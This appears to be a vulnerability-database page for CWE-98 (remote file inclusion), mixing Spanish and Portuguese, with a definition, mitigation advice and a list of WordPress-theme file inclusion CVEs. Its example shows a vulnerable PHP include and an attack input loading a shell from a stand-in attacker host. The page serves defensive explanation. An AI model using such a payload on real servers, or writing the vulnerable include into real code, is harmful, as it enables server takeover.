Fallos del tipo CWE-98

1308 resultados

Inclusão Remota de Arquivo

Fraqueza onde a aplicação inclui ou executa um arquivo cujo caminho é controlado (total ou parcialmente) por um atacante, frequentemente via parâmetros GET/POST. Se o servidor não valida a origem, um atacante pode fazer a aplicação carregar código malicioso de um servidor externo, levando a execução arbitrária com privilégios da app.

Ejemplo

Um PHP com `include($_GET['page'].'.php')` onde o atacante passa `page=http://atacante.com/shell` acaba incluindo e executando um script malicioso hospedado remotamente, concedendo acesso total ao servidor.

Cómo mitigar

Valide e normalize qualquer entrada de usuário antes de usar em include/require; use uma whitelist de arquivos permitidos; desabilite `allow_url_include` no PHP; implemente controle de acesso e isolamento de sessão. Nunca confie em entrada externa para construir caminhos de arquivo.

CVE-2025-69123HIGHWordPress Snow Club theme <= 1.1 - Local File Inclusion vulnerabilityEPSS 0.3%CVE-2025-69171HIGHWordPress Orpheus theme <= 1.3 - Local File Inclusion vulnerabilityEPSS 0.3%CVE-2025-69115HIGHWordPress LuxMed | Medicine & Healthcare Doctor WordPress Theme theme <= 1.2.2 - Local File Inclusion vulnerabilityEPSS 0.3%CVE-2025-69176HIGHWordPress ITactics theme <= 1.0 - Local File Inclusion vulnerabilityEPSS 0.3%CVE-2025-69161HIGHWordPress Snowy theme <= 1.13 - Local File Inclusion vulnerabilityEPSS 0.3%CVE-2025-69175HIGHWordPress Line Agency theme <= 1.3.1 - Local File Inclusion vulnerabilityEPSS 0.3%CVE-2025-69118HIGHWordPress CopyPress theme <= 1.4.5 - Local File Inclusion vulnerabilityEPSS 0.3%CVE-2025-69126HIGHWordPress Fortius theme <= 2.3.0 - Local File Inclusion vulnerabilityEPSS 0.3%CVE-2025-69164HIGHWordPress Skyward theme <= 1.10 - Local File Inclusion vulnerabilityEPSS 0.3%CVE-2025-69145HIGHWordPress Gat theme <= 1.16 - Local File Inclusion vulnerabilityEPSS 0.3%CVE-2025-69174HIGHWordPress Etude theme <= 1.6 - Local File Inclusion vulnerabilityEPSS 0.3%CVE-2025-69146HIGHWordPress Dom theme <= 1.24 - Local File Inclusion vulnerabilityEPSS 0.3%CVE-2025-69141HIGHWordPress Kelly Young theme <= 1.1.0 - Local File Inclusion vulnerabilityEPSS 0.3%CVE-2025-69158HIGHWordPress Granola theme <= 1.13 - Local File Inclusion vulnerabilityEPSS 0.3%CVE-2024-45077MEDIUMIBM Maximo Asset Management file uploadEPSS 0.3%CVE-2026-22372HIGHWordPress Isida theme <= 1.4.2 - Local File Inclusion vulnerabilityEPSS 0.3%CVE-2026-22381HIGHWordPress PawFriends - Pet Shop and Veterinary WordPress Theme theme <= 1.3 - Local File Inclusion vulnerabilityEPSS 0.3%CVE-2026-22378HIGHWordPress Blabber theme <= 1.7.0 - Local File Inclusion vulnerabilityEPSS 0.3%CVE-2026-22380HIGHWordPress UnlimHost theme <= 1.2.3 - Local File Inclusion vulnerabilityEPSS 0.3%CVE-2026-22377HIGHWordPress Saveo theme <= 1.1.2 - Local File Inclusion vulnerabilityEPSS 0.3%